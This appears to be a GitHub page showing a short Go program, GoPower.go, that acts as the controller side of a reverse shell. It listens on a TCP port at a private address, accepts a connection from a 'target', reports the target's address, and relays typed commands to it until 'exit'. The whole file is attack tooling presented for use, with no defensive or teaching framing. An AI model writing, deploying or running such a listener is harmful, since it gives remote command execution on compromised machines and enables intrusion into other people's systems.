-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathGoPower.go
63 lines (50 loc) · 996 Bytes
/
GoPower.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
package main
import (
"bufio"
"fmt"
"net"
"os"
"strings"
)
const(
Network = "tcp"
Address = "192.168.1.222:9000"
)
//get connection with shell and issue command
func connect(conn net.Conn)string{
buf := make([]byte,1024) //write
read :=bufio.NewReader(os.Stdin)
buf,err := read.ReadBytes('\n')
if err!= nil {
fmt.Fprintln(os.Stderr,err)
}
conn.Write(buf)
return string(buf[:])
}
func main(){
listen,err := net.Listen(Network,Address)
if err != nil {
fmt.Println("error tcp! err:",err)
}
defer listen.Close()
fmt.Println("Try to connect...")
conn,err :=listen.Accept()
defer conn.Close()
if err != nil{
fmt.Println("Accept err! err",err)
}
fmt.Println("Connect Success!")
fmt.Println("The target'adress is:",conn.RemoteAddr())
fmt.Println("All right")
fmt.Printf("$ ")
buf := connect(conn)
for {
buf = strings.TrimSpace(buf)
if buf == "exit"{
fmt.Println("Experience +3 ByeBye~")
break
}
fmt.Printf("$ ")
buf = connect(conn)
}
}